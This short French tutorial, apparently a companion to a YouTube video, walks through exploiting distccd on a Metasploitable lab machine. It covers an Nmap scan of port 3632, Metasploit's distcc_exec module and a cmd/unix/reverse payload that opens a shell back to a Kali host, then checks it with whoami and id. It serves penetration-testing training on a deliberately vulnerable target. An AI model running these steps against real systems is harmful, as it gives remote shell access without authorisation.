🎬 Ce clip vidéo YouTube

1️⃣ Identification de la cible (Nmap)

nmap -sV -p 3632 192.168.56.102

✅ Le résultat sera : 3632/tcp open distccd v1

👉 Donc distcc est ouvert et peut être exploité.

2️⃣ Lancement de Metasploit

msfconsole

3️⃣ Sélection de l'exploit distcc

use exploit/unix/misc/distcc_exec

4️⃣ Vérification des paramètres

show options

Paramètres requis :

Option Valeur

RHOSTS Adresse IP de Metasploitable RPORT 3632 PAYLOAD cmd/unix/reverse

5️⃣ Configuration de l'IP cible

set RHOSTS 192.168.56.102

6️⃣ Configuration du payload

set PAYLOAD cmd/unix/reverse
set LHOST 192.168.56.101

LHOST — votre adresse IP Kali Linux

7️⃣ Exécution de l'exploit

run

🎉 Résultat

Si cela réussit :

[*] Command shell session opened

Nous vérifions le shell :

whoami
uname -a
id